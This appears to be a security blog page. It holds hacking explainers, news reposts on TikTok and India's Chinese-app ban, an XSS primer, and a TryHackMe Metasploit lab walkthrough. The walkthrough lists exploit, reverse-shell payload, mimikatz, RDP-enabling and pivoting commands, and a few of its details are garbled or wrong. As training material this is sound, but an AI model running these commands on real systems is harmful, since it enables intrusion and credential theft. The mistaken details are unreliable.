-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label BBC News - Technology. Show all posts
Showing posts with label BBC News - Technology. Show all posts
  • What is Hacking and what is Ethical Hacking, is it Legal or Illegal.






    What is Hacking and what is Ethical Hacking, is it Legal or Illegal.
    What is Hacking? I welcome you to my blog. guys, I try to make the post written by me hundred percent correct. So that you can get the correct information and make it easy to read. Today's topic is related to hacking. So guys, today we will know what hacking is. What are the types of hackers. How is hacking done?



    What is Hacking? 



    I welcome you to my blog. Friends, I try to make the post written by me hundred percent correct. So that you can get the correct information and make it easy to read. Bahral, ​​we go to our topic. Today's topic is related to hacking. So friends, today we will know what hacking is. What are the types of hackers. How is hacking done? What is Hacking and what is Ethical Hacking, is it Legal or Illegal.


    Nowadays the use of Computer and Smartphone is increasing very fast. It is almost impossible for people to do their work without Smartphone and Computer. Whether it is own business or working in a company / bank.


    Computer is used everywhere, computer is used for doing small work.


    Many problems have to be faced while doing the same work, in such a situation, when we are talking about computers, then the matter of cyber crime also becomes necessary.


    Friends, you must have heard about Cyber ​​Crime. If you have not heard, then I want to tell that Cyber ​​Crime is a type of crime in which hackers steal personal details or data of others using computers. Due to which people suffer heavy losses. And blackmail them and grab lakhs of rupees. Due to cyber crime many organizations have to pay crores of rupees every year due to their data being stolen.


    In the computer world, where the crime is not taking the name of stopping, how to protect the people of Longo from the files kept in their -2 computers and the data of the company and Bussiness from being hackers. So friends, we will give you the answer to this question in this post. So, you must read this article about






    what is hacking?



    Hacking means to find a weakness in a computer's system and take advantage of that weakness and hack that system. The person or person who does this Hacking, we call it Hacker. A Hacker has all kinds of knowledge related to computer, that is why he can easily hack Valunerbility from someone's computer system. On hearing the name, we realize that this is a wrong thing.


    Types Of Hacking


    Network Hacking

    This type of Hacking means that it receives all the information over the Hacker Network itself, for which many tools are available such as -Telnet, NS, Lookup, Ping, tracert, Netstat etc. Its main purpose is only to reach the network system and its operation.
    Website Hacking

    In website hacking illegally gaining control over the association of its web server and website, ie Database or Interface.

    Email Hacking


    In email hacking, Hacker creates a duplicate Phishing page, reaches the user to that phishing page, if the user puts information in it then the Email ID gets hacked. It is used in illegal works in an unauthorized manner.

    Ethical Hacking


    This type of Hacking goes into many ethical tasks. In this Hacking, First Owner's Permission is taken by hacker to find Weakness in the system and Owner is helped in removing these Weakness.


    Password Hacking 

     
    In this type of Hacking, passwords are cracked in an unauthorized manner, in which the system is hacked by stealing secret passwords kept in the computer.

    Computer System Hacking


    In this type of hacking, the hacker knows the ID and password of a computer's system and uses the computer illegally by sequre connection to it.

    He deletes 2 files sitting at one place and also steals the data. hacking news


    See Also


    For More information :- Click Here

    CEH v10 ( website ) :- Click Here

    CEH V10 ( Videos ) :- Click Here

    CEH V10 ( Videos ) :- Click Here



    What are the types of hackers?



    1. Black Hat Hacker

    Black Hat Hacker illegally gain the ID and password of your website, Computer System, Android Smartphone, Facebook etc. without your permission.

    And assert their authority over the information kept in them. Whether he deletes them or demands a ransom from the owner, Black Hat Hacker is very bloodthirsty. They do not hesitate at all to harm others. Ethical Hacking, is it Legal or Illegal.



    2. White Hat Hacker

    White Hat Hacker does hacking in an ethical way. Hackers of this category provide protection to our system, website and smartphone from being hacked. Such hackers take permission from the owner of the system and help us in protecting from the attacker. White hat hacker check the security of our website or system. This tells whether the system is a sequer or not. Finds weakness and provides sequrity. It is also called ethical hacker.



    3. Gray Hat Hacker
    Gray Hat Hacker is actually in a state of confusion. They may or may not play with anyone without permission. By the way, it can hack anyone's system to improve their skills, but they do not cause any harm but they cannot be called a white hat hacker and not a black hat hacker.





    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)




  • Anonymous Hackers Directly Target TikTok: ‘Delete This Chinese Spyware Now’


    Anonymous Hackers Directly Target TikTok: ‘Delete This Chinese Spyware Now’




    This has been a week that TikTok—the Chinese viral video giant that has soared under lockdown—will want to put quickly behind it. The ByteDance-owned platform was under fire anyway, over allegations of data mishandling and censorship, but then a beta version of Apple’s iOS 14 caught the app secretly accessing users’ clipboards and a backlash immediately followed.



    Whether India had always planned to announce its ban on TikTok, along with 58 other Chinese apps, on June 29, or was prompted by the viral response to the iOS security issue is not known. But, as things stand, TikTok has been pulled from the App Store and Play Store in India, its largest market, and has seen similar protests from users in other major markets around the world, including the U.S.Anonymous Hackers Directly Target TikTok: ‘Delete This Chinese Spyware Now’

    One of the more unusual groups campaigning against TikTok is the newly awakened Anonymous hactivist group. As ever with Anonymous, it’s difficult to attribute anything to the non-existent central core of this loosely affiliated hacker collective, but one of the better followed Twitter accounts ostensibly linked to the group has been mounting a fierce campaign against TikTok for several weeks, one that has now gained prominence given the events of the last few days.



    “Delete TikTok now,” the account tweeted today, July 1, “if you know someone that is using it, explain to them that it is essentially malware operated by the Chinese government running a massive spying operation.”









    The account linked to a story that has been doing the rounds in recent days, following a Reddit post from an engineer who claimed to have “reverse engineered” TikTok to find a litany of security and privacy abuses. There has been no confirmation yet as to the veracity of these allegations, and TikTok did not provide any comment on the claims when I approached them.




    The original issue that prompted Anonymous to target TikTok appears to be the “misrepresentation” of Anonymous on TikTok itself, with the setting up of an account. “Anonymous has no TikTok account,” the same Twitter account tweeted on June 6, “that is an App created as spyware by the Chinese government.”



    Those affiliated with Anonymous take exception to copycat accounts, which is complicated by the lack of any central function. In the aftermath of the Minneapolis Police story, someone affiliated with the group took exception to a Twitter account that was monetising the brand, telling me: “We do not appreciate false flag impersonations. There will be consequences.”



    See also




    This has now become an interesting collision of two completely different viral stories in their own right. Anonymous hit the headlines a month ago, when the “group” seemed to mount a comeback in the wake of the killing of George Floyd. A video posted on Facebook threatened to “expose the many crimes” of the Minneapolis Police unless the officers responsible were held to account.



    There have been various stories since then, with reports of DDoS attacks on police service websites, the hacking of data and even the compromise of radio systems. But, as ever, with Anonymous, it is always critical to remember that you are seeing that loose affiliation of like-minded individuals, with Anonymous used as a rallying cry and an umbrella for claims and counter-claims. Attribution, as such, is not possible.



    This also puts TikTok in the somewhat unique position of having united various governments, including the U.S., and Anonymous behind the same cause.


    For TikTok, whether there is any hacking risk following these social media posts we will have to wait and see. Again, you have to remember the way this works. A rallying call has gone out to like-minded hacking communities worldwide. A target has been named and shamed. It would not be a surprise if claims of hacks or DDoS website attacks followed. That’s the patten now.



    So, why does this matter? Well, it’s one thing for the U.S. government or even the Indian government to warn hundreds of millions of users about the dangers of TikTok, but various celebrities and influencers have also been swayed by the latest claims and have publicly expressed their concerns. Anonymous is a viral movement that is targeting some of the same user base that has driven TikTok’s growth. It is campaigning against TikTok, and that campaign will drive its own viral message.



    And while until now that user base has remained steadfastly resilient to any of those warnings, sticking with the video sharing app in droves, you can start to get the feeling now that come of this might stick. It’s subtle, and it’s always risky to judge the world by the twitter-sphere, but there’s a change now in the wind.



    Credit : Forbes


    Disclaimer for Hacking Truth


    If you require any more information or have any questions about our site's disclaimer, please feel free to contact us by email at kumaratuljaiswal222@gmail.com

     

    Disclaimers for Hacking Truth


    All the information on this website - https://www.kumaratuljaiswal.in/ - is published in good faith and for general information purpose only. Hacking Truth does not make any warranties about the completeness, reliability and accuracy of this information. Any action you take upon the information you find on this website (Hacking Truth), is strictly at your own risk. Hacking Truth will not be liable for any losses and/or damages in connection with the use of our website.


    From our website, you can visit other websites by following hyperlinks to such external sites. While we strive to provide only quality links to useful and ethical websites, we have no control over the content and nature of these sites. These links to other websites do not imply a recommendation for all the content found on these sites. Site owners and content may change without notice and may occur before we have the opportunity to remove a link which may have gone 'bad'.
    Please be also aware that when you leave our website, other sites may have different privacy policies and terms which are beyond our control. Please be sure to check the Privacy Policies of these sites as well as their "Terms of Service" before engaging in any business or uploading any information.

     

    Consent


    By using our website, you hereby consent to our disclaimer and agree to its terms.

    Update


    Should we update, amend or make any changes to this document, those changes will be prominently posted here.




    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • Digital strike on 59 Chinese apps including TikTok, UC Browser, India banned



    Digital strike on 59 Chinese apps including TikTok, UC Browser, India banned




    Complete list of Chinese apps banned by Indian government: TikTok ,, India has banned 59 Chinese apps including UC browser. Let us know that the government has banned these Chinese apps under the IT Act 2000.



    A big decision has been taken amidst the deadlock on the border with China. 59 Chinese apps have been banned in India. Among the apps that have been banned are TicketLock, UC Browser, Share It etc. Apart from these, Hello, Like, Cam Scanner, Sheen Kwai have also been banned. Baidu Map, KY, DU Battery Scanner has also been banned. Let us know that the government has banned these Chinese apps under the IT Act 2000. Digital strike on 59 Chinese apps including TikTok, UC Browser, India banned



    Earlier, Indian security agencies had prepared a list of Chinese apps and appealed to the central government to ban them or people should be asked to immediately remove them from their mobiles. The reasoning behind this was that China could hack Indian data.



    At the same time, 20 soldiers of India were martyred in the recent violent clash with the Chinese army in the Galvan Valley of Ladakh. Since then, there was anger among the people of India about all the apps including China and its products. Prime Minister Narendra Modi also appealed to the people to become a self-reliant India.



    However, the decision to ban these 59 apps from China has been taken at a time when the third round of core commander level meeting between the two countries is going to be held in Ladakh. The special thing is that this meeting is being held on the call of India this time. Earlier, both the meetings were held at the invitation of China.





    FULL LIST OF CHINESE APPS BANNED BY GOVT:
    1. TikTok
    2. Shareit
    3. Kwai
    4. UC Browser
    5. Baidu map
    6. Shein
    7. Clash of Kings
    8. DU battery saver
    9. Helo
    10. Likee
    11. YouCam makeup
    12. Mi Community
    13. CM Browers
    14. Virus Cleaner
    15. APUS Browser
    16. ROMWE
    17. Club Factory
    18. Newsdog
    19. Beutry Plus
    20. WeChat
    21. UC News
    22. QQ Mail
    23. Weibo
    24. Xender
    25. QQ Music
    26. QQ Newsfeed
    27. Bigo Live
    28. SelfieCity
    29. Mail Master
    30. Parallel Space 31. Mi Video Call – Xiaomi
    32. WeSync
    33. ES File Explorer
    34. Viva Video – QU Video Inc
    35. Meitu
    36. Vigo Video
    37. New Video Status
    38. DU Recorder
    39. Vault- Hide
    40. Cache Cleaner DU App studio
    41. DU Cleaner
    42. DU Browser
    43. Hago Play With New Friends
    44. Cam Scanner
    45. Clean Master – Cheetah Mobile
    46. Wonder Camera
    47. Photo Wonder
    48. QQ Player
    49. We Meet
    50. Sweet Selfie
    51. Baidu Translate
    52. Vmate
    53. QQ International
    54. QQ Security Center
    55. QQ Launcher
    56. U Video
    57. V fly Status Video
    58. Mobile Legends
    59. DU Privacy




    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • Background concept about cross site scripting with examples







    Background Concept About Cross Site Scripting ( XSS ) With Examples



    Now we are going to talk about XSS cross site scripting. XSS Vulnerabilities are among the most wide spread wab application vulnerabilities on the internet. 


    Cross-site-scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicous code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur antwhere a web application uses input from a user within the output  it generates without validating or encoding it. Background concept about cross site scripting with examples



    An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browsers has no way to kmow that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens or, other sensitive information retined by the browser and used with that site. cross site scripting with examples



    It's refer to client side injection attack where an attacker can execute malicious scripts into a legitimate website or web application.  By leavrging a cross site scipting, an attacker doesn't target the victim directly instead an attacker would exploit a vulnerability within a web applications or websites that the victim would visit essentially using the vulnerable website as a vehicle the deliver the malcious script to the victim's browser. basicallly we will use a website to deliver our payloads to the victime, when victim visit into that they paylaod are will executed and the payload will to our job, payload can be malicious, payload can be simple whatever. xss examples



    Let's talk about impact of XSS



    1) Cookie theft
    2) Keylogging
    3) Phishing
    4) URL Redirection



    cross site scripting can be used to a part of URL redirection. Cookies stealing, Keylogging, Phishing etc.


    so, in order to run our javascript malicious script in a victim's browser, an attacker must first find a way to inject a payload into web page. That's the victim visit. 


    for exploitation, attacker can used social engineering way such as email, click jacking to manipulate user for executation to our payload.



    Let's talk about the Types of XSS...



    Mainly cross site scriptings are parts of three types :-


    1) Reflected XSS
    2) Stored XSS
    3) DOM-based XSS




    Reflected XSS or  Stored XSS 

    It's a most common types of Cross site scripting, attacker payload script has to be part of the request which is send to the website an reflect back in such as a way that the HTTP response includes that the payload.

    so, basically reflected cross site scripting are required client site interaction, if user will visit that the vulnerable web page and server will deliver our paylaod to the users browse here, then user stored this but server want any payload,we will deliver our paylaod to the client browser and if client visiting that then there's a client side attacks. sql injection cheatsheet




    DOM Based XSS :-

    it's a advance type of cross site scripting attack, which be made possibly when the web application client site scripting writes user provides a data into a document objects model. The Most dangerous parts of this attack is client side attacks. how to prevent from sql injection


    In the attacker's payload is never sent to the server, this makes it will more to detect web application firewall and security engineers.


    so basically let's take example of Reflected, stored and DOM through practially,




    This is a website testphp.vulnweb.com


    So we will type something in the search box like Hello or HackingTruth.in and hit go button...









    so it's a reflected but not stored, it's not storing..
    so there may be reflected cross site scripting.



    Now. let's click on the signup option and you can try withlogin based application and if i will give a any text like kumaratuljaiswal.in









    DOM XSS



    if i will give any parameter like hello

    paramter=hello


    <script></script>


    and just executing to the user's context, nor the server side to the sever application, then there may be DOM based...



    Example this


    prompt.mI/O


    this is not sending to the server there are executing to the our context, if i will give anypayload there and it will execute then this is called DOM based scripting. cross site scripting how to prevent


    see this








    so just only executing on the user's script, nor the server side  nor to the client side.




    How to Hunt for XSS ?


    • Find a Input parameter, Give any input there and not senitizer then If your input reflect or stored any where there may be XSS.
    • Try to execute any javascript code there, if you succeed to execute any javascript then there is a XSS
    • Exploitation of XSS.



    you'll find a input parameter then give input there , if your input reflect or stored anywhere there may be cross site scripting. cross site scripting example



    XSS Cheatsheet Here :- Click Here 



    I hope its clear to about The Background concept of cross site scripting :-)



    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal


    Video Tutorial :-  SooN

     


    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)





  • How Google Chrome will prevent websites from spying on you




    How Google Chrome will prevent websites from spying on you



    As part of its effort to maintain user-privacy, Google Chrome is building a feature that could ultimately keep websites from spying on you.

    The capability, which has been spotted in the developer build of the browser, will keep websites from accessing sensor data of your phone/computer.

    For those unaware, this information can be used by websites/advertisers for tracking your movements and more. How Google Chrome will prevent websites from spying on you



    Tracking using motion sensor


    A few years back, a study revealed that potential attackers can use websites to fetch the motion sensor (accelerometer and gyroscope) data from a visitor's device.

    The research claimed that the information mined by websites (via different APIs) could be used to determine your movements, including data like if you are moving, standing still, or traveling by car or train.





    Information


    Then, this information can be used to build user profiles

    The movement information from the sensors can then be combined with web activity to build unique profiles of the visitors and track, surveil and monetize them. MSPoweruser claims that sensor information could even be used to recognize your unique walking gait.




    Chrome is already working on a preventive method



    Since many users want to protect themselves from being tracked by websites, Google Chrome is testing an option to allow or block censors for websites in the Canary.

    These features will be available to both Android and desktop users, giving them the option to choose whether websites should know the speed and light sensors, and if the website starts getting information about things like light sensors in Chrome. There may be danger messages

    And while you will be reading this post, this feature will be available in Chrome.









    And you should not forget to check this post, this is also part of motion in censor motion or light and do not forget to follow



    How this feature would work





    The feature, enabled by default, can be accessed from the 'Content' section in browser settings.

    Meaning, whenever you open a page accessing sensors, the browser will generate an omnibox pop-up, similar to the one that opens for GPS or mic permissions, notifying about the access.

    It will have two options: either allow sensor access for the page or block it permanently for that page.



    Information


    Per-site control only for desktop users

    As of now, sensor access for individual websites can only be controlled on the desktop version of Chrome Canary. Android users, as HackingTruth.in(Kumaratuljaiswal) screenshots indicated, will get a single toggle to control access for all websites at once.





    When this feature will be available






    According to Chromium developers' message board, the feature has been targeted for Chrome 75.

    As of now, the browser is on version 73, which means it might be a few months before it debuts in a stable release.

    Also, in addition to this feature, Google has also been testing a dark mode for Chrome which would also recolor web pages.




    Disable Motion Sensors


    Load chrome://settings/content/sensors in the Chrome address bar(Computer/Smartphone).

    Doing so opens the Sensor permissions in the browser.

    Toggle "Allow sites to use motion and light sensors" to enable or disable Sensors globally.



    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    Video Tutorial :-  SooN


                
        


    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)




  • TryHackeMe RP : Metasploit walkthrough



    TryHackeMe RP  Metasploit walkthrough




    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    tryhackme rp Metasploit


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.






     tryhackme rp nmap






    TryHackMe :- Click Here


    TryHackMe has recently had their 500th user sign up to access varied content from fundamentals of web security to basic reverse engineering. Their self contained virtual classrooms make it easy for users to focus on a particular area by aggregating the necessary information. They want users to focus on the learning instead of spending time scouring the internet for resources! They are a relatively new company, so they are still in the process of creating custom VMs for learning purposes, but more content is being released weekly and their newsletter gives users an insight to whats being released on a weekly basis ahead of time. TryHackeMe RP : Metasploit walkthrough





     tryhackme rp nmap





    Question:


    [Task 1] Intro

    [Task 2] Initializing…


    1) First things first, we need to initialize the database! Let’s do that now with the command: msfdb init





       msfdb init    


    I already initialzed database


    TryHackeMe RP : Metasploit walkthrough



    2) Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command: msfconsole -h


      msfconsole -h  


    TryHackeMe RP : Metasploit walkthrough




    3) We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-’


        ANS: -q    



    4) Once the database is initialized, go ahead and start Metasploit via the command: msfconsole


      msfconsole 




    TryHackeMe RP : Metasploit walkthrough




    5)  After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command: db_status


      db_status 



    TryHackeMe RP : Metasploit walkthrough





    6) Cool! We’ve connected to the database, which type of database does Metasploit 5 use?


      ANS: postgresql 



     ---------------------



     [Task 3] Rock ’em to the Core [Commands]



    Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help


      help  



    2) The help menu has a very short one-character alias, what is it?



       ?   



    3)  Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?



       search  



    4) Once we’ve found the module we want to leverage, what command we use to select it as the active module?



       use  



    5) How about if we want to view information about either a specific module or just the active one we have selected?



       info  




    6) Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?


      connect 



    7) Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?



      banner  



    TryHackeMe RP : Metasploit walkthrough



    8)  We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?


      set  



    9) Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?


      setg   



    10)  Now that we’ve learned about to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.


      get  



    TryHackeMe RP : Metasploit walkthrough





    11) How about changing the value of a variable to null/no value?



      unset 



    12) When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?



       spool 



    13) Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.


       
      save  


      ----------------

     

    [Task 4] Modules for Every Occasion!



    1) Easily the most common module utilized, which module holds all of the exploit code we will use?


      exploit 



    2) Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?


       payload  



    3)  Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.


       auxiliary  




    4)  One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?


       post   



    5)  Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?


       encoder 



    6) Last but not least, which module is used with buffer overflow and ROP attacks?


      NOP  



    7)  Not every module is loaded in by default, what command can we use to load different modules?


       load  



    -------------

    [Task 5] Move that shell!



    1) Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP’


       db_nmap -sV <ip>  





    TryHackeMe RP : Metasploit walkthrough






    2. What service does nmap identify running on port 135?


      ANS: msrdp 




    3. Let’s go ahead and see what information we have collected in the database. Try typing the command ‘hosts’ into the msfconsole now.


      hosts  



    TryHackeMe RP : Metasploit walkthrough



    4)  How about something else from the database, try the command ‘services’ now.




      services 



    TryHackeMe RP : Metasploit walkthrough





    5) One last thing, try the command ‘vulns’ now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.


      vulns 



    6)  Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type ‘use’ followed by a unique string found within only the target exploit. For example, try this out now with the following command ‘use icecast’. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start



      use icecast  




    TryHackeMe RP : Metasploit walkthrough



       ANS: exploit/windows/http/icecast_header 
     



    7) While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command ‘search multi/handler’. What is the name of the column on the far left side of the console that shows up next to ‘Name’? Go ahead and run the command ‘use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.




      search multi/handler  



    TryHackeMe RP : Metasploit walkthrough



      ANS: # 



    8)  Now type the command ‘use NUMBER_FROM_PREVIOUS_QUESTION’. This is the short way to use modules returned by search results.



      use 4  



    9) Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface.


      set PAYLOAD windows/meterpreter/reverse_tcpset 


       LHOST tun0    



    10) Let’s go ahead and return to our previous exploit, run the command `use icecast` to select it again.


      use icecast  



    11)  One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack.



      set RHOST <box_ip> 



    12) Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.


       run -j  




    13)  Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`

      jobs  


    14) After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`


       sessions   

       session 1  



    -------------


    [Task 6] We’re in, now what?



    1) First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?

       ps  






    TryHackeMe RP : Metasploit walkthrough





        ANS: spoolsv.exe   




    2) Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!



       migrate -N spoolsv.exe  




    3) Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?


      getuid  



    4)  How about finding more information out about the system itself?



      sysinfo 




    5. This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?



         load kiwi     



    6)  Let’s go ahead and figure out the privileges of our current user, what command do we run?



       getprivs  



    7)  What command do we run to transfer files to our victim computer?


       upload  



    8)  How about if we want to run a Metasploit module?


       run   



    9) A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?


       ipconfig  




    10) Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command `run post/windows/gather/checkvm`. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.




       run post/windows/gather/checkvm 




    11) Next, let’s try: `run post/multi/recon/local_exploit_suggester`. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room `Ice`.



       run post/multi/recon/local_exploit_suggester  



    12) Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: `run post/windows/manage/enable_rdp`



      run post/windows/manage/enable_rdp  


    13. One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?


        shell  




    ---------------


    [Task 7] Makin’ Cisco Proud




    1) Let’s go ahead and run the command `run autoroute -h`, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.



      run autoroute -h  



       run autoroute -s 172.18.1.0 -n 255.255.255.0  




    2) Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?



       search server/socks4a  



      ANS: auxiliary/server/socks4a  
     


    3)  Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?



      proxychains  


    TryHackeMe RP : Metasploit walkthrough





     ----------------





    Disclaimer

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


